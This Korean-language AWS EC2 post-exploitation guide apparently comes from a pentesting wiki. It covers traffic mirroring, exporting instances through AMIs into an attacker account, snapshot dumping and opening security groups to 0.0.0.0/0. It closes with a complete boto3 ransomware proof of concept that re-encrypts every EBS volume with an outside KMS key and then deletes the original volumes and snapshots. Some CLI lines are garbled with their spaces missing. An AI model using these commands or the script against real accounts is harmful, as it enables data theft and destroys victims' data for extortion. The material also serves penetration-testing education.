VPC 트래픽 미러링은 VPC 내의 EC2 인스턴스에 대한 인바운드 및 아웃바운드 트래픽을 복제하여 인스턴스 자체에 아무것도 설치할 필요 없이 수행됩니다. 이 복제된 트래픽은 일반적으로 네트워크 침입 탐지 시스템(IDS)과 같은 곳으로 전송되어 분석 및 모니터링에 사용됩니다.
공격자는 이를 악용하여 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다:
인스턴스에는 일반적으로 어떤 종류의 민감한 정보가 포함되어 있습니다. 내부에 접근하는 다양한 방법이 있습니다 (예: EC2 privilege escalation tricks). 그러나, 또 다른 방법으로는 **AMI를 생성하고 이를 통해 새로운 인스턴스를 실행하는 것(심지어 자신의 계정에서도)**이 있습니다:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Snapshots are backups of volumes, which usually will contain sensitive information, therefore checking them should disclose this information.
If you find a volume without a snapshot you could: Create a snapshot and perform the following actions or just mount it in an instance inside the account:
공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이 호출을 기록하며, 공격자는 Cloudtrail 로그에서 유출된 데이터를 확인할 수 있습니다.
보안 그룹 열기
다음과 같이 포트를 열어 네트워크 서비스에 추가 접근할 수 있습니다:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
ECS로의 권한 상승
EC2 인스턴스를 실행하고 이를 ECS 인스턴스를 실행하는 데 사용하도록 등록한 후 ECS 인스턴스 데이터를 훔칠 수 있습니다.
S3 포스트 익스플로잇 노트에서 시연된 랜섬웨어 데모와 유사한 개념 증명입니다. KMS는 다양한 AWS 서비스를 암호화하는 데 사용하기 쉬워서 랜섬웨어 관리 서비스(Ransomware Management Service)로 이름을 바꿔야 합니다.
먼저 '공격자' AWS 계정에서 KMS에 고객 관리 키를 생성합니다. 이 예제에서는 AWS가 키 데이터를 관리하도록 하겠지만, 현실적인 시나리오에서는 악의적인 행위자가 AWS의 통제를 벗어난 키 데이터를 보유할 것입니다. 키 정책을 변경하여 모든 AWS 계정 Principal이 키를 사용할 수 있도록 합니다. 이 키 정책에서 계정의 이름은 'AttackSim'이고 모든 액세스를 허용하는 정책 규칙은 'Outside Encryption'이라고 합니다.
이제 공개적으로 접근 가능한 키를 사용할 수 있습니다. 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스를 가진 '피해자' 계정을 사용할 수 있습니다. 이 '피해자' 계정의 EBS 볼륨이 우리가 암호화하려는 대상이며, 이 공격은 고권한 AWS 계정의 침해를 가정합니다.
Pasted image 20231231172655
Pasted image 20231231172734
S3 랜섬웨어 예제와 유사하게, 이 공격은 스냅샷을 사용하여 연결된 EBS 볼륨의 복사본을 만들고, '공격자' 계정의 공개적으로 사용 가능한 키를 사용하여 새로운 EBS 볼륨을 암호화한 다음, 원래의 EBS 볼륨을 EC2 인스턴스에서 분리하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다.
이로 인해 계정에는 암호화된 EBS 볼륨만 남게 됩니다.
Pasted image 20231231173338
또한, 스크립트는 원래의 EBS 볼륨을 분리하고 삭제하기 위해 EC2 인스턴스를 중지시켰다는 점도 주목할 만합니다. 원래의 암호화되지 않은 볼륨은 이제 사라졌습니다.
Pasted image 20231231173931
다음으로, '공격자' 계정의 키 정책으로 돌아가서 키 정책에서 'Outside Encryption' 정책 규칙을 제거합니다.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
새로 설정된 키 정책이 전파될 때까지 잠시 기다리세요. 그런 다음 '피해자' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 연결해 보세요. 볼륨을 연결할 수 있을 것입니다.
Pasted image 20231231174131
Pasted image 20231231174258
하지만 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려고 하면, 인스턴스는 'pending' 상태에서 'stopped' 상태로 계속 돌아가게 됩니다. 이는 연결된 EBS 볼륨이 키를 사용하여 복호화할 수 없기 때문입니다. 키 정책이 더 이상 이를 허용하지 않기 때문입니다.
Pasted image 20231231174322
Pasted image 20231231174352
이것은 사용된 python 스크립트입니다. 이 스크립트는 '피해자' 계정의 AWS 자격 증명과 암호화에 사용할 공개적으로 이용 가능한 AWS ARN 값을 입력받습니다. 스크립트는 대상 AWS 계정에 연결된 모든 EC2 인스턴스의 모든 사용 가능한 EBS 볼륨의 암호화된 복사본을 만들고, 모든 EC2 인스턴스를 중지한 다음 원래 EBS 볼륨을 분리하고 삭제하며, 마지막으로 프로세스 중에 사용된 모든 스냅샷을 삭제합니다. 이렇게 하면 대상 '피해자' 계정에는 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하세요. 이는 파괴적이며 원래 EBS 볼륨을 모두 삭제합니다. 사용된 KMS 키를 사용하여 복구하고 스냅샷을 통해 원래 상태로 복원할 수 있지만, 이 스크립트는 결국 랜섬웨어 PoC임을 인지하시기 바랍니다.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()